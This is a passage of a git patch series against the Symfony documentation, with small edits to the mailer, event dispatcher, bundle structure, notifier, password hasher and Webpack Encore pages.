 | `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
 |                        | - HTTP n/a                                          |
 |                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
@@ -1503,6 +1508,7 @@ The following transports currently support tags and metadata:
 The following transports only support tags:
 
 * MailPace
+* Resend
 
 The following transports only support metadata:
 
@@ -1847,6 +1853,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
+.. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md
diff --git a/webhook.rst b/webhook.rst
index d6e14f12805..32567bfe29d 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -82,6 +82,7 @@ Brevo          ``mailer.webhook.request_parser.brevo``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Postmark       ``mailer.webhook.request_parser.postmark``
+Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 

From 0d779a50c6b458f42cfb63751869fc3f56f3a245 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 10:29:19 +0100
Subject: [PATCH 5673/7107] [Scheduler] Remove unneded versionadded directives

---
 scheduler.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index e51e8243af3..3d04d8c0a58 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -160,12 +160,6 @@ methods::
     $trigger->inner(); // CronExpressionTrigger
     $trigger->decorators(); // [ExcludeTimeTrigger, JitterTrigger]
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner`
-    and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators`
-    methods were introduced in Symfony 6.4.
-
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 

From 601d9234f61cd0cacda7781ee1eeab01564d615f Mon Sep 17 00:00:00 2001
From: Benjamin <blaugueux@users.noreply.github.com>
Date: Thu, 11 Jan 2024 11:14:58 +0100
Subject: [PATCH 5674/7107] Fix wrong variable name.

---
 workflow/workflow-and-state-machine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index f6b93fa693c..09bbbd8befa 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -267,13 +267,13 @@ machine type, use ``camelCased workflow name + StateMachine``::
     {
         public function __construct(
             // Symfony will inject the 'pull_request' state machine configured before
-            private WorkflowInterface $pullRequestWorkflow,
+            private WorkflowInterface $pullRequestStateMachine,
         ) {
         }
 
         public function someMethod(PullRequest $pullRequest): void
         {
-            $this->pullRequestWorkflow->apply($pullRequest, 'wait_for_review', [
+            $this->pullRequestStateMachine->apply($pullRequest, 'wait_for_review', [
                 'log_comment' => 'My logging comment for the wait for review transition.',
             ]);
             // ...

From 088a4f3a50785d04f56e1dc31f8416df376e4934 Mon Sep 17 00:00:00 2001
From: Franklin LIA <46316603+lbbyf@users.noreply.github.com>
Date: Mon, 8 Jan 2024 16:22:13 +0100
Subject: [PATCH 5675/7107] [DOC][SECURITY] Update passwords.rst

The signature of the needsRehash method of the `SymfonyComponentPasswordHasher\Hasher\UserPasswordHasherInterface` interface is `public function needsRehash(PasswordAuthenticatedUserInterface $user): bool;`.

If we use the method `public function needsRehash(string $hashedPassword): bool;`, then the interface should be `Symfony\Component\PasswordHasher\PasswordHasherInterface`.
---
 security/passwords.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 6807785a29f..581c7b85870 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -518,13 +518,13 @@ migration by returning ``true`` in the ``needsRehash()`` method::
     namespace App\Security;
 
     // ...
-    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+    use Symfony\Component\PasswordHasher\PasswordHasherInterface;
 
-    class CustomPasswordHasher implements UserPasswordHasherInterface
+    class CustomPasswordHasher implements PasswordHasherInterface
     {
         // ...
 
-        public function needsRehash(string $hashed): bool
+        public function needsRehash(string $hashedPassword): bool
         {
             // check whether the current password is hashed using an outdated hasher
             $hashIsOutdated = ...;

From 4e04a454e5326a984a4fe5f8ae83f8300d523fcb Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 3 Jan 2024 14:12:22 +0100
Subject: [PATCH 5676/7107] [EventDispatcher] docs: document simpler event
 dispatching

---
 components/event_dispatcher.rst | 43 ++++++++++-----------------------
 1 file changed, 13 insertions(+), 30 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index f6f30419f68..6ad6e1dd80b 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -69,17 +69,6 @@ An :class:`Symfony\\Contracts\\EventDispatcher\\Event` instance is also
 created and passed to all of the listeners. As you'll see later, the ``Event``
 object itself often contains data about the event being dispatched.
 
-Naming Conventions
-..................
-
-The unique event name can be any string, but optionally follows a few
-naming conventions:
-
-* Use only lowercase letters, numbers, dots (``.``) and underscores (``_``);
-* Prefix names with a namespace followed by a dot (e.g. ``order.*``, ``user.*``);
-* End names with a verb that indicates what action has been taken (e.g.
-  ``order.placed``).
-
 Event Names and Event Objects
 .............................
 
@@ -259,7 +248,7 @@ system flexible and decoupled.
 Creating an Event Class
 .......................
 
-Suppose you want to create a new event - ``order.placed`` - that is dispatched
+Suppose you want to create a new event that is dispatched
 each time a customer orders a product with your application. When dispatching
 this event, you'll pass a custom event instance that has access to the placed
 order. Start by creating this custom event class and documenting it::
@@ -270,19 +259,12 @@ order. Start by creating this custom event class and documenting it::
     use Symfony\Contracts\EventDispatcher\Event;
 
     /**
-     * The order.placed event is dispatched each time an order is created
-     * in the system.
+     * This event is dispatched each time an order
+     * is placed in the system.
      */
-    class OrderPlacedEvent extends Event
+    final class OrderPlacedEvent extends Event
     {
-        public const NAME = 'order.placed';
-
-        protected $order;
-
-        public function __construct(Order $order)
-        {
-            $this->order = $order;
-        }
+        public function __construct(private Order $order) {}
 
         public function getOrder(): Order
         {
@@ -318,10 +300,10 @@ of the event to dispatch::
 
     // creates the OrderPlacedEvent and dispatches it
     $event = new OrderPlacedEvent($order);
-    $dispatcher->dispatch($event, OrderPlacedEvent::NAME);
+    $dispatcher->dispatch($event);
 
 Notice that the special ``OrderPlacedEvent`` object is created and passed to
-the ``dispatch()`` method. Now, any listener to the ``order.placed``
+the ``dispatch()`` method. Now, any listener to the ``OrderPlacedEvent::class``
 event will receive the ``OrderPlacedEvent``.
 
 .. _event_dispatcher-using-event-subscribers:
@@ -340,7 +322,7 @@ events it should subscribe to. It implements the
 interface, which requires a single static method called
 :method:`Symfony\\Component\\EventDispatcher\\EventSubscriberInterface::getSubscribedEvents`.
 Take the following example of a subscriber that subscribes to the
-``kernel.response`` and ``order.placed`` events::
+``kernel.response`` and ``OrderPlacedEvent::class`` events::
 
     namespace Acme\Store\Event;
 
@@ -358,7 +340,7 @@ Take the following example of a subscriber that subscribes to the
                     ['onKernelResponsePre', 10],
                     ['onKernelResponsePost', -10],
                 ],
-                OrderPlacedEvent::NAME => 'onStoreOrder',
+                OrderPlacedEvent::class => 'onPlacedOrder',
             ];
         }
 
@@ -372,8 +354,9 @@ Take the following example of a subscriber that subscribes to the
             // ...
         }
 
-        public function onStoreOrder(OrderPlacedEvent $event)
+        public function onPlacedOrder(OrderPlacedEvent $event): void
         {
+            $order = $event->getOrder();
             // ...
         }
     }
@@ -417,14 +400,14 @@ inside a listener via the
 
     use Acme\Store\Event\OrderPlacedEvent;
 
-    public function onStoreOrder(OrderPlacedEvent $event)
+    public function onPlacedOrder(OrderPlacedEvent $event): void
     {
         // ...
 
         $event->stopPropagation();
     }
 
-Now, any listeners to ``order.placed`` that have not yet been called will
+Now, any listeners to ``OrderPlacedEvent::class`` that have not yet been called will
 *not* be called.
 
 It is possible to detect if an event was stopped by using the

From 6f023369c138d9fd52cd9eb1716ec8210315388a Mon Sep 17 00:00:00 2001
From: mikocevar <mike.kocevar@gmail.com>
Date: Sat, 23 Dec 2023 18:46:10 +0100
Subject: [PATCH 5677/7107] Move note below and add examples

I find it more user-friendly to see examples when explaining alternative solutions. The note was also moved lower to give the reader first the context of how the Custom Event with arguments is created, before explaining the alternative solution without arguments.
---
 components/event_dispatcher.rst | 35 ++++++++++++++++++++++++---------
 1 file changed, 26 insertions(+), 9 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 6ad6e1dd80b..6e0fcf746e2 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -274,15 +274,6 @@ order. Start by creating this custom event class and documenting it::
 
 Each listener now has access to the order via the ``getOrder()`` method.
 
-.. note::
-
-    If you don't need to pass any additional data to the event listeners, you
-    can also use the default
-    :class:`Symfony\\Contracts\\EventDispatcher\\Event` class. In such case,
-    you can document the event and its name in a generic ``StoreEvents`` class,
-    similar to the :class:`Symfony\\Component\\HttpKernel\\KernelEvents`
-    class.
-
 Dispatch the Event
 ..................
 
@@ -306,6 +297,32 @@ Notice that the special ``OrderPlacedEvent`` object is created and passed to
 the ``dispatch()`` method. Now, any listener to the ``OrderPlacedEvent::class``
 event will receive the ``OrderPlacedEvent``.
 
+.. note::
+
+    If you don't need to pass any additional data to the event listeners, you
+    can also use the default
+    :class:`Symfony\\Contracts\\EventDispatcher\\Event` class. In such case,
+    you can document the event and its name in a generic ``StoreEvents`` class,
+    similar to the :class:`Symfony\\Component\\HttpKernel\\KernelEvents`
+    class::
+
+        namespace App\Event;
+
+        class StoreEvents {
+
+            /**
+            * @Event("Symfony\Contracts\EventDispatcher\Event")
+            */
+            public const ORDER_PLACED = 'order.placed';
+        }
+
+    And use the :class:`Symfony\\Contracts\\EventDispatcher\\Event` class to
+    dispatch the event::
+
+        use Symfony\Contracts\EventDispatcher\Event;
+
+        $this->eventDispatcher->dispatch(new Event(), StoreEvents::ORDER_PLACED);
+
 .. _event_dispatcher-using-event-subscribers:
 
 Using Event Subscribers

From 23a8a630aa7168fc6f07c32705c472fbb4e1427b Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Mon, 8 Jan 2024 12:42:14 +0100
Subject: [PATCH 5678/7107] Update database.rst

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 97b2f3fdfd5..744c5da4fa9 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -98,7 +98,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private \Doctrine\ORM\EntityManager $entityManager;
+        private \Doctrine\Persistence\ObjectManager $entityManager;
 
         protected function setUp(): void
         {

From f8beecde7732959a176c77ec69ede9b79577b494 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 11:44:44 +0100
Subject: [PATCH 5679/7107] Minor tweak

---
 testing/database.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 744c5da4fa9..ebcaf288c58 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -94,11 +94,12 @@ so, get the entity manager via the service container as follows::
     namespace App\Tests\Repository;
 
     use App\Entity\Product;
+    use Doctrine\Persistence\ObjectManager;
     use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private \Doctrine\Persistence\ObjectManager $entityManager;
+        private ObjectManager $entityManager;
 
         protected function setUp(): void
         {

From 6896b7e44582dc9d986a8ed453c2dbcacf63e00a Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 20 Dec 2023 07:02:55 -0500
Subject: [PATCH 5680/7107] match parameter names with AbstractBundle

---
 bundles/extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index ff873f2ab14..5c71fa18cfd 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -127,18 +127,18 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
         {
             // load an XML, PHP or Yaml file
-            $containerConfigurator->import('../config/services.xml');
+            $container->import('../config/services.xml');
 
             // you can also add or replace parameters and services
-            $containerConfigurator->parameters()
+            $container->parameters()
                 ->set('acme_hello.phrase', $config['phrase'])
             ;
 
             if ($config['scream']) {
-                $containerConfigurator->services()
+                $container->services()
                     ->get('acme_hello.printer')
                         ->class(ScreamingPrinter::class)
                 ;

From 9efdea3e63227cb84afd430bef413feec75d2ca8 Mon Sep 17 00:00:00 2001
From: cancelledbit <akadox@gmail.com>
Date: Sat, 16 Dec 2023 11:11:48 +0300
Subject: [PATCH 5681/7107] Note about message bus

---
 notifier.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index d964272bec1..4bebd7b6eed 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -271,6 +271,22 @@ Service                                  Package                               D
 
     The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
 
+.. caution::
+
+    If you have the messenger component installed, the default component
+    configuration implies sending notifications through the MessageBus.
+    If you don't have a message consumer running, messages will never be sent.
+    To send messages directly via the transport, add the following line to the configuration.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/notifier.yaml
+            framework:
+                notifier:
+                    message_bus: false
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From b003eaf52096a82f0fc091cb70a7a71a0943b923 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 15:09:14 +0100
Subject: [PATCH 5682/7107] Minor reword

---
 notifier.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 4bebd7b6eed..111040e46b1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -273,19 +273,19 @@ Service                                  Package                               D
 
 .. caution::
 
-    If you have the messenger component installed, the default component
-    configuration implies sending notifications through the MessageBus.
-    If you don't have a message consumer running, messages will never be sent.
-    To send messages directly via the transport, add the following line to the configuration.
+    By default, if you have the :doc:`Messenger component </messenger>` installed,
+    the notifications will be sent through the MessageBus. If you don't have a
+    message consumer running, messages will never be sent.
 
-    .. configuration-block::
+    To change this behavior, add the following configuration to send messages
+    directly via the transport:
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/packages/notifier.yaml
-            framework:
-                notifier:
-                    message_bus: false
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                message_bus: false
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 2d0af9c51489ef1b575105883467d709b72da71d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 25 Nov 2023 11:35:39 +0100
Subject: [PATCH 5683/7107] [Bundle] Sync doc pages with current Symfony
 codebase

---
 bundles.rst               | 66 ++++++++++++++++++++-------------------
 bundles/configuration.rst | 25 ++++++++-------
 bundles/extension.rst     |  4 +--
 templates.rst             |  8 ++---
 4 files changed, 54 insertions(+), 49 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 19dd8c31aa8..c937b1ac69f 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -22,13 +22,15 @@ file::
     return [
         // 'all' means that the bundle is enabled for any Symfony environment
         Symfony\Bundle\FrameworkBundle\FrameworkBundle::class => ['all' => true],
-        Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
-        Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
-        Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
-        Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
-        Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
+        // ...
+
+        // this bundle is enabled only in 'dev'
+        Symfony\Bundle\DebugBundle\DebugBundle::class => ['dev' => true],
+        // ...
+
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
         Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true],
+        // ...
     ];
 
 .. tip::
@@ -41,18 +43,18 @@ Creating a Bundle
 -----------------
 
 This section creates and enables a new bundle to show there are only a few steps required.
-The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an example
+The new bundle is called AcmeBlogBundle, where the ``Acme`` portion is an example
 name that should be replaced by some "vendor" name that represents you or your
-organization (e.g. AbcTestBundle for some company named ``Abc``).
+organization (e.g. AbcBlogBundle for some company named ``Abc``).
 
-Start by creating a new class called ``AcmeTestBundle``::
+Start by creating a new class called ``AcmeBlogBundle``::
 
-    // src/AcmeTestBundle.php
-    namespace Acme\TestBundle;
+    // src/AcmeBlogBundle.php
+    namespace Acme\BlogBundle;
 
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class AcmeTestBundle extends AbstractBundle
+    class AcmeBlogBundle extends AbstractBundle
     {
     }
 
@@ -68,10 +70,10 @@ Start by creating a new class called ``AcmeTestBundle``::
 
 .. tip::
 
-    The name AcmeTestBundle follows the standard
+    The name AcmeBlogBundle follows the standard
     :ref:`Bundle naming conventions <bundles-naming-conventions>`. You could
-    also choose to shorten the name of the bundle to simply TestBundle by naming
-    this class TestBundle (and naming the file ``TestBundle.php``).
+    also choose to shorten the name of the bundle to simply BlogBundle by naming
+    this class BlogBundle (and naming the file ``BlogBundle.php``).
 
 This empty class is the only piece you need to create the new bundle. Though
 commonly empty, this class is powerful and can be used to customize the behavior
@@ -80,10 +82,10 @@ of the bundle. Now that you've created the bundle, enable it::
     // config/bundles.php
     return [
         // ...
-        Acme\TestBundle\AcmeTestBundle::class => ['all' => true],
+        Acme\BlogBundle\AcmeBlogBundle::class => ['all' => true],
     ];
 
-And while it doesn't do anything yet, AcmeTestBundle is now ready to be used.
+And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used.
 
 Bundle Directory Structure
 --------------------------
@@ -92,31 +94,31 @@ The directory structure of a bundle is meant to help to keep code consistent
 between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
-``src/``
-    Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
+``assets/``
+    Contains the web asset sources like JavaScript and TypeScript files, CSS and
+    Sass files, but also images and other assets related to the bundle that are
+    not in ``public/`` (e.g. Stimulus controllers).
 
 ``config/``
-    Houses configuration, including routing configuration (e.g. ``routing.yaml``).
-
-``templates/``
-    Holds templates organized by controller name (e.g. ``random/index.html.twig``).
-
-``translations/``
-    Holds translations organized by domain and locale (e.g. ``AcmeTestBundle.en.xlf``).
+    Houses configuration, including routing configuration (e.g. ``routes.php``).
 
 ``public/``
     Contains web assets (images, compiled CSS and JavaScript files, etc.) and is
     copied or symbolically linked into the project ``public/`` directory via the
     ``assets:install`` console command.
 
-``assets/``
-    Contains the web asset sources (JavaScript and TypeScript files, CSS and Sass
-    files, etc.), images and other assets related to the bundle that are not in
-    ``public/`` (e.g. Stimulus controllers)
+``src/``
+    Contains all PHP classes related to the bundle logic (e.g. ``Controller/CategoryController.php``).
+
+``templates/``
+    Holds templates organized by controller name (e.g. ``category/show.html.twig``).
 
 ``tests/``
     Holds all tests for the bundle.
 
+``translations/``
+    Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``).
+
 .. caution::
 
     The recommended bundle structure was changed in Symfony 5, read the
@@ -127,7 +129,7 @@ to be adjusted if needed:
     new structure. Override the ``Bundle::getPath()`` method to change to
     the old structure::
 
-        class AcmeTestBundle extends AbstractBundle
+        class AcmeBlogBundle extends AbstractBundle
         {
             public function getPath(): string
             {
@@ -146,12 +148,12 @@ to be adjusted if needed:
         {
             "autoload": {
                 "psr-4": {
-                    "Acme\\TestBundle\\": "src/"
+                    "Acme\\BlogBundle\\": "src/"
                 }
             },
             "autoload-dev": {
                 "psr-4": {
-                    "Acme\\TestBundle\\Tests\\": "tests/"
+                    "Acme\\BlogBundle\\Tests\\": "tests/"
                 }
             }
         }
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4a2224429ed..c155fe8a56a 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -175,7 +175,7 @@ of your bundle's configuration.
 
 The ``Configuration`` class to handle the sample configuration looks like::
 
-    // src/Acme/SocialBundle/DependencyInjection/Configuration.php
+    // src/DependencyInjection/Configuration.php
     namespace Acme\SocialBundle\DependencyInjection;
 
     use Symfony\Component\Config\Definition\Builder\TreeBuilder;
@@ -216,7 +216,7 @@ This class can now be used in your ``load()`` method to merge configurations and
 force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
-    // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
+    // src/DependencyInjection/AcmeSocialExtension.php
     public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
@@ -236,7 +236,7 @@ For example, imagine your bundle has the following example config:
 
 .. code-block:: xml
 
-    <!-- src/Acme/SocialBundle/Resources/config/services.xml -->
+    <!-- src/config/services.xml -->
     <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -253,8 +253,8 @@ For example, imagine your bundle has the following example config:
 
 In your extension, you can load this and dynamically set its arguments::
 
-    // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    // ...
+    // src/DependencyInjection/AcmeSocialExtension.php
+    namespace Acme\SocialBundle\DependencyInjection;
 
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
@@ -279,7 +279,7 @@ In your extension, you can load this and dynamically set its arguments::
     :class:`Symfony\\Component\\HttpKernel\\DependencyInjection\\ConfigurableExtension`
     to do this automatically for you::
 
-        // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+        // src/DependencyInjection/HelloExtension.php
         namespace Acme\HelloBundle\DependencyInjection;
 
         use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -375,6 +375,7 @@ logic to the bundle class directly::
     configuration definition from one or more files::
 
         // src/AcmeSocialBundle.php
+        namespace Acme\SocialBundle;
 
         // ...
         class AcmeSocialBundle extends AbstractBundle
@@ -417,7 +418,7 @@ The ``config:dump-reference`` command dumps the default configuration of a
 bundle in the console using the Yaml format.
 
 As long as your bundle's configuration is located in the standard location
-(``YourBundle\DependencyInjection\Configuration``) and does not have
+(``<YourBundle>/src/DependencyInjection/Configuration``) and does not have
 a constructor, it will work automatically. If you
 have something different, your ``Extension`` class must override the
 :method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
@@ -451,7 +452,8 @@ URL nor does it need to exist). By default, the namespace for a bundle is
 ``http://example.org/schema/dic/DI_ALIAS``, where ``DI_ALIAS`` is the DI alias of
 the extension. You might want to change this to a more professional URL::
 
-    // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+    // src/DependencyInjection/AcmeHelloExtension.php
+    namespace Acme\HelloBundle\DependencyInjection;
 
     // ...
     class AcmeHelloExtension extends Extension
@@ -480,10 +482,11 @@ namespace is then replaced with the XSD validation base path returned from
 method. This namespace is then followed by the rest of the path from the base
 path to the file itself.
 
-By convention, the XSD file lives in the ``Resources/config/schema/``, but you
+By convention, the XSD file lives in ``config/schema/`` directory, but you
 can place it anywhere you like. You should return this path as the base path::
 
-    // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+    // src/DependencyInjection/AcmeHelloExtension.php
+    namespace Acme\HelloBundle\DependencyInjection;
 
     // ...
     class AcmeHelloExtension extends Extension
@@ -492,7 +495,7 @@ can place it anywhere you like. You should return this path as the base path::
 
         public function getXsdValidationBasePath(): string
         {
-            return __DIR__.'/../Resources/config/schema';
+            return __DIR__.'/../config/schema';
         }
     }
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 5c71fa18cfd..861c7b60807 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -173,9 +173,9 @@ performance. Define the list of annotated classes to compile in the
 
         $this->addAnnotatedClassesToCompile([
             // you can define the fully qualified class names...
-            'App\\Controller\\DefaultController',
+            'Acme\\BlogBundle\\Controller\\AuthorController',
             // ... but glob patterns are also supported:
-            '**Bundle\\Controller\\',
+            'Acme\\BlogBundle\\Form\\**',
 
             // ...
         ]);
diff --git a/templates.rst b/templates.rst
index ba716427367..1373d671669 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1417,10 +1417,10 @@ may include their own Twig templates (in the ``Resources/views/`` directory of
 each bundle). To avoid messing with your own templates, Symfony adds bundle
 templates under an automatic namespace created after the bundle name.
 
-For example, the templates of a bundle called ``AcmeFooBundle`` are available
-under the ``AcmeFoo`` namespace. If this bundle includes the template
-``<your-project>/vendor/acmefoo-bundle/Resources/views/user/profile.html.twig``,
-you can refer to it as ``@AcmeFoo/user/profile.html.twig``.
+For example, the templates of a bundle called ``AcmeBlogBundle`` are available
+under the ``AcmeBlog`` namespace. If this bundle includes the template
+``<your-project>/vendor/acme/blog-bundle/Resources/views/user/profile.html.twig``,
+you can refer to it as ``@AcmeBlog/user/profile.html.twig``.
 
 .. tip::
 

From 8c080f435903d58a4c4a0048c2c09ea75f2da62a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 16:08:24 +0100
Subject: [PATCH 5684/7107] Minor tweak

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 4280aaa1079..3b5d4c3f47d 100644
--- a/security.rst
+++ b/security.rst
@@ -1054,7 +1054,8 @@ token (or whatever you need to return) and return the JSON response:
 
       class ApiLoginController extends AbstractController
       {
-          #[Route('/api/login', name: 'api_login', methods: ['POST'])]
+    -     #[Route('/api/login', name: 'api_login')]
+    +     #[Route('/api/login', name: 'api_login', methods: ['POST'])]
     -     public function index(): Response
     +     public function index(#[CurrentUser] ?User $user): Response
           {

From e65034bcd7c8d070067ed334dfe4af024405994c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 16:27:24 +0100
Subject: [PATCH 5685/7107] Minor tweaks

---
 frontend/encore/advanced-config.rst | 29 +++++++++++++----------------
 1 file changed, 13 insertions(+), 16 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 4224629bae0..3c5f60edad3 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -144,15 +144,12 @@ functions to specify which build to use:
     {{ encore_entry_script_tags('mobile', null, 'secondConfig') }}
     {{ encore_entry_link_tags('mobile', null, 'secondConfig') }}
 
-Avoid missing CSS when render multiples html
---------------------------------------------
+Avoid Missing CSS When Rendering Multiple Templates
+---------------------------------------------------
 
-When you need to generate two templates in the same request, such as two emails, you should call the reset method on
-the ``EntrypointLookupInterface`` interface.
-
-To do this, inject the ``EntrypointLookupInterface`` interface
-
-.. code-block:: php
+When you render two or more templates in the same request, such as two emails,
+you should call the ``reset()`` method on the ``EntrypointLookupInterface`` interface.
+To do this, inject the ``EntrypointLookupInterface`` interface::
 
     public function __construct(EntrypointLookupInterface $entryPointLookup) {}
 
@@ -162,14 +159,13 @@ To do this, inject the ``EntrypointLookupInterface`` interface
         $this->render($emailTwo);
     }
 
-If you are using multiple webpack configurations, for example, one for the admin and one for emails, you will need to
-inject the correct ``EntrypointLookupInterface`` service. To achieve this, you should search for the service
-using the following command:
+If you are using multiple Webpack configurations (e.g. one for the admin and one
+for emails) you will need to inject the right ``EntrypointLookupInterface`` service.
+Use the following command to find the right service:
 
 .. code-block:: terminal
 
-    # if you are using symfony CLI
-    $ symfony console debug:container entrypoint_lookup
+    $ php bin/console console debug:container entrypoint_lookup
 
     # You will see a result similar to this:
     Select one of the following services to display its information:
@@ -179,18 +175,19 @@ using the following command:
     [3] webpack_encore.entrypoint_lookup[admin]
     [4] webpack_encore.entrypoint_lookup[email]
 
-The service we are interested in is ``webpack_encore.entrypoint_lookup[email]``.
+In this example, the configuration related to the ``email`` configuration is
+the one called ``webpack_encore.entrypoint_lookup[email]``.
 
-To inject this service into your class, we will use the bind method:
+To inject this service into your class, use the ``bind`` option:
 
 .. code-block:: yaml
 
